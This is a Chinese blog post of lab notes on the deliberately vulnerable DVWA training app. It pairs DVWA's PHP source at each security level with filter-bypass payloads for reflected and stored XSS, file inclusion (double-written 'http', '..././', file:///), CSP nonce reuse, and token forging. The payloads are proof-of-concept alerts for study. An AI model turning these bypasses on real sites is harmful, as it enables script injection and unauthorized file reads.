DVWA靶场补充payload

最新推荐文章于 2024-03-18 13:45:59 发布
最新推荐文章于 2024-03-18 13:45:59 发布
阅读量1.1k 收藏
点赞数
分类专栏： Web安全 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51339377/article/details/124166740
版权
该博客详细介绍了DVWA靶场中关于XSS（跨站脚本）的各种类型，包括反射型、存储型和DOM型XSS，以及如何利用和防御这些漏洞。同时，文章也探讨了文件包含漏洞的不同安全级别，从低到高，揭示了如何防止恶意文件执行。此外，还提到了浏览器安全策略CSP的绕过方法和弱Session ID的风险。
摘要由CSDN通过智能技术生成
XSS部分
dvwa靶场
admin
password
但凡出现互动的地方，都可能出现漏洞！！！！！
<pre>Hello <script>alert('1')</script></pre>
script标签是js语言执行用的，当js正确执行的时候，不会出现东西，js会被浏览器执行！！！！
<scr<script>ipt>alert('1')</script>
点住我！<img src="x" οnmοuseup=alert(1) /> 
<img src="x" onclick=alert(1) />
<img src="x" onmouseover=alert(1) />
<img src="x" onmousedown=alert(1) />
<img src="x" onmouseup=alert(1) />

反射性XSS
存储型XSS  留言板泽中
DOM型XSS 
XSS（Reflected）
Low Security Level 
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>
<script>alert(1)</script>

Medium Reflected XSS Source 
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>
<ScriPt>alert(1)</sCRipt>
High Reflected XSS Source 
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>
<img src="x" οnerrοr="alert(1)">
Impossible Reflected XSS Source 
<?php


// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );


    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}


// Generate Anti-CSRF token
generateSessionToken();


?>
XSS（Stored）
Low Stored XSS Source 
<?php


if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );


    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));


    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));


    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );


    //mysql_close();
}


?>
Name:admin
Message:<script>alert(1)</script>
Medium Stored XSS Source 
<?php


if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );


    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );


    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));


    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );


    //mysql_close();
}


?>
先前端修改Name输入处的长度限制 或者burp抓包进行修改
Name:<img src="x" οnerrοr="alert(1)">
Message:admin
High Stored XSS Source 
<?php


if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );


    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );


    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));


    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );


    //mysql_close();
}


?>
先前端修改Name输入处的长度限制 或者burp抓包进行修改
Name:<img src="x" οnerrοr="alert(1)">
Message:admin
Impossible Stored XSS Source 
<?php


if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );


    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );


    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );


    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}


// Generate Anti-CSRF token
generateSessionToken();


?>

文件包含部分
Low Security 
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
 1.观察页面url vulnerabilities/fi/?page=include.php
2.鼠标移动到file1.php之后观察左下角 可以看到fi/?page=file1.php
Medium Security 
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>
vulnerabilities/fi/?page=hthttptp://www.baidu.com   //双写绕过一次过滤
vulnerabilities/fi/?page=..././xxx.php
High Security 
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
//文件名一定要是file开头的文件 可以考虑file:///c://  文件协议
vulnerabilities/fi/?page=file:///c://phpstudy_pro
Impossible Security 
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
★CSP Bypass （浏览器安全策略）
CSP Bypass （浏览器安全策略）    对xss有防护作用
content security policy 内容安全策略
只允许执行某些网站的东西，那你就到这个网站上想办法写一个js的地址
Pastebin.com - #1 paste tool since 2002!     //可以用来写代码 并且支持远程包含的一个网站
（低级别）代码显示其允许来自这几个网站的东西的包含与执行
所以可以进入这些网站，然后测试一些恶意代码，网站会去包含，从而执行恶意代码
成功实现包含进入 和存储型xss很像！
（中级别）
unsafe-inline 允许使用内联资源：javascript: xxx.com /onclick  /style
nonce-source 允许特定内联模块 nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="    //这是随意的一句话然后base64编码了 其实只是说明限制而已
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('haha')</script>    //提交以后就可以成功弹窗
★Weak Session IDs （脆弱的session id）
有的网站用户登录之后会给一个session id作为用户的标识符
如果你知道其他人的session id，并且伪造，就有可能不通过用户名密码登录对方的帐号
把这个地方改成0 相当于可以伪装成0号用户的登录
网页绕过方法：
除非可以截获用户登录的时间 否则没办法伪造
更高级的防护，存在md5加密：
★JavaScript Attacks  （js攻击）
攻击web前端安全
流程：
首先要知道token的算法是什么
看懂token的js代码 然后去推算
一些网站提交东西的时候，value值已经写死了，就是不让用户提交成功的。所以需要绕过token
一些网站点击一些东西的时候，不仅仅有提交这个按钮，还有很多隐藏的按钮，其会显示网站的token
如果token是错误的，即使提交的内容是正确的，最终的结果还是错误的。
在控制台输入  md5(rot3("success"));  得到token
源代码，需要知道具体的token的算法是怎样的  --->先进性rot13加密 在进行md5加密

 

 

medium级别：   
 
XXsuccessXX
XXsseccusXX   --->翻转得到最后的结果

 

high
此时js代码已经被各种加密了
解密特征混淆算法的网站：
Simon_Smith
关注
专栏目录
DVWA通关教程
weixin_62957220的博客
05-18 2257
1.首先先把难度调为low，进行brute force 首先审计代码 <?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query =
DVWA靶场之xss通关笔记,详解带截图
AboutLzs的博客
03-21 1470
DVWA靶场Xss通关笔记
DVWA部分教程
最新发布
m0_72898152的博客
03-18 713
dvwa
DVWA通关详解初级
weixin_44831109的博客
03-16 2731
一、Brute Force（暴力破解）漏洞 （级别：low）： 1.查看代码 可以看到，服务器只是验证了参数Login是否被设置，没有任何的防爆破机制 2.使用burpsuit抓包 3.单击Action发送到Intruder进行密码爆破 4.先清除 ，然后选中要爆破字段，点击添加 5.设置Payloads 6.点击右上角开始攻击 7.成功爆破 测试过程（级别：medium）： 1.查看代码 从源码可以看到，与初级相比多出了红框框的内容，就是对一些特殊字符进行了转义还是与初级一样进行爆破
暴力破解(DVWA和pikachu)
qq_74259765的博客
07-30 896
自用笔记，使用burpsuite，对DVWA和pikachu靶场的暴力破解模块进行入门练习。简单介绍了步骤和过程。
DVWA的安装教程和通关详解
路baby的博客
11-27 3万+
DVWA是一款基于PHP和mysql开发的web靶场练习平台，集成了常见的Web漏洞。有详细的DVWA的安装教程，和通关详解
DVWA靶场 Brute Force
SELF_REDEEM的博客
07-05 665
环境说明 本文章中的靶场环境使用虚拟机搭建，之前有一篇较为详细的搭建教程。为了能尽量真实地模拟渗透环境，可以再在虚拟机中创建一台Kali虚拟机，并且设置两台虚拟机的网络使用NAT模式，这样攻击机与靶机处于同一网段中，可以互相Ping通，如果Ping不通的话可能是防火墙等的原因，关一下就好了。Kali中包含了许多预装的常用渗透工具，可以直接使用。第二种方法，可以直接使用宿主机当攻击机，虚拟机网络使用桥接模式，这样也可以在宿主机与虚拟机之间互相Ping通。本文使用的是第二种环境。 漏洞发掘 SQL注入漏洞
DVWA靶场 渗透学习专用
09-07
【DVWA靶场 渗透学习专用】 DVWA（Damn Vulnerable Web Application）是一个非常流行的在线安全学习平台，专门设计用于网络安全专业人士进行渗透测试和Web应用安全的学习。这个靶场包含了各种常见Web应用漏洞，如...
DVWA 靶场CSRF（low）
qq_14902381的博客
08-15 1485
dvwa靶场，csrf利用
DVWA靶场XSS三种类型漏洞练习
c_programj的博客
05-14 1998
DVWA靶场XSS三种漏洞练习反射型XSS（非持久性）【low】【Medium】【High】【Impossible】存储型XSS（持久性）【Low】【Medium】【High】【Impossible】DOM型【Low】【Medium】【High】【Impossible】总结：XSS漏洞常见函数： 反射型XSS（非持久性） 反射型 【low】 后台码源： <?php header ("X-XSS-Protection: 0"); // Is there any input? if
DVWA靶场存储型XSS漏洞实验
weixin_44851588的博客
05-26 4856
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 来自菜鸟的一次简单分享，本次实验主要结合后台源代码讲解，梳理存储型XSS实验的思路，如果存在问题，请各位大佬多多指导。 一、XSS基础 1.什么是XSS？ XSS（Cross-site scripting）被称为跨站脚本攻击，由于与层叠样式表的缩写一样，因此被缩写为XSS。 2.XSS漏洞...
DVWA全级别通关教程
weixin_52515588的博客
03-26 9万+
首先选择难度，我们从low开始，如上图所示进行修改 目录 SQL手工注入 过程： low Medium high Impossible SQL 盲注 过程： SQL 工具注入 工具安装过程： 过程： low Medium High: 暴力破解 过程： Low Medium High Impossible 命令注入 过程： Low Medium High: Impossible 文件上传 过程： Low Medium High Im...
内容安全性-具有spring安全性的策略
码农研习社
03-30 564
虽然SpringSecurity可以通过内置内容安全策略(CSP)配置，但它默认将配置策略指定为字符串配置，而不是动态构建它。但是在有些情况下，我们需要更灵活的配置方式。 特别是，CSP阻止用户使用内联javascript，因为它引入了漏洞。如果你真的需要它，你可以用unsafe-inline但这是一个糟糕的方法，因为它否定了CSP的全部观点。在该页上提供的替代方法是使用hash或nonce. 如果您使用的是.and().headers().contentSecurityPolicy(policy)。策
关于Mongodb的全面总结，学习mongodb的人，可以从这里开始！
热门推荐
欣的专栏
06-08 11万+
原文地址：http://blog.csdn.net/jakenson/article/details/7060431  MongoDB的内部构造《MongoDB The Definitive Guide》 MongoDB的官方文档基本是how to do的介绍，而关于how it worked却少之又少，本人也刚买了《MongoDB TheDefinitive Guide》的影印版，还没来
DVWA靶场-常见漏洞原理以及防御
大博的博客
02-17 2836
本文章可做DVWA普及课件所用 暴力破解 low 查看代码可知，代码中并没有任何防护手段，没有防爆破措施，比如验证码或者是错误登录限制措施，仅仅是设置login参数是否存在。 存在暴力破解和SQL注入。 演示自行使用BP以及自带字典。 medium 比较代码看出，username和password参数都是经过一次mysql_real_escape_string函数转换。查阅手册可知 这个只是减...
HTML5安全：内容安全策略（CSP）简介
tempsitegoogle
07-08 1070
前言：HTML5出现后，网络安全更加受到广泛的关注。Web对于网络安全有哪些改进？我们如何来面对越来越危险的网络欺诈和攻击？下面的文章谈到了W3C对于这个问题的最新解决方案。未来有机会的话，我会针对XSS、P3P、同源策略、CORS（跨域资源共享）和CSP进行关于HTML5内容安全的现场分享。 ------------------------华丽的分界线 注意：本文所讨论的AP...
XSS 漏洞学习
iO快到碗里来
08-10 531
XSS漏洞学习实战 XSS简介 XSS（Cross Site Scripting）攻击全称跨站脚本攻击，是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS，XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中，当受害者访问这些页面时，浏览器会解析并执行这些恶意代码，从而达到窃取用户身份/钓鱼/传播恶意代码等行为。主要有三种类型：存储型XSS、反射型XSS（也叫做非持久性）、Dom型XS
DVWA通关教程（下）
qq_50854662的博客
05-28 2102
XSS（DOM） XSS(DOM)是一种基于DOM树的一种代码注入攻击方式，可以是反射型的，也可以是存储型的，所以它一直被划分第三种XSS 与前两种XSS相比，它最大的特点就是不与后台服务器交互，只是通过浏览器的DOM树解析产生 除了js，flash等脚本语言也有可能存在XSS漏洞 难度（low） 审计代码 <?php # No protections, anything goes ?> 无任何过滤 所以我们可以构造XSS代码，访问链接： http://127.0.0.
以太坊实战-再谈nonce使用陷阱
程序新视界
01-14 1万+
在《以太坊实战之如何正确处理nonce》一文中我们介绍了nonce的基本概念和使用方法。也提到了它能够覆盖之前交易的特异功能。但是那只是nonce的冰山一角。今天再给大家分享在热点账户下nonce会出现的问题。 热点账户 所谓的热点账户就是频繁被使用的账户，在以太坊中比如交易所的统一出币账户，在短时间内频繁发起交易的账户，均可被称作热点账户。 replacement transact
DVWA靶场指南：探索XSS攻击实验环境配置
资源摘要信息: "dvwa靶场，里面也有xss靶场" dvwa靶场全称为Damn Vulnerable Web Application（Damn Vulnerable Web App），是一个开源的Web应用，用于教育安全研究人员和开发人员关于Web应用的安全性。它包含了一...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值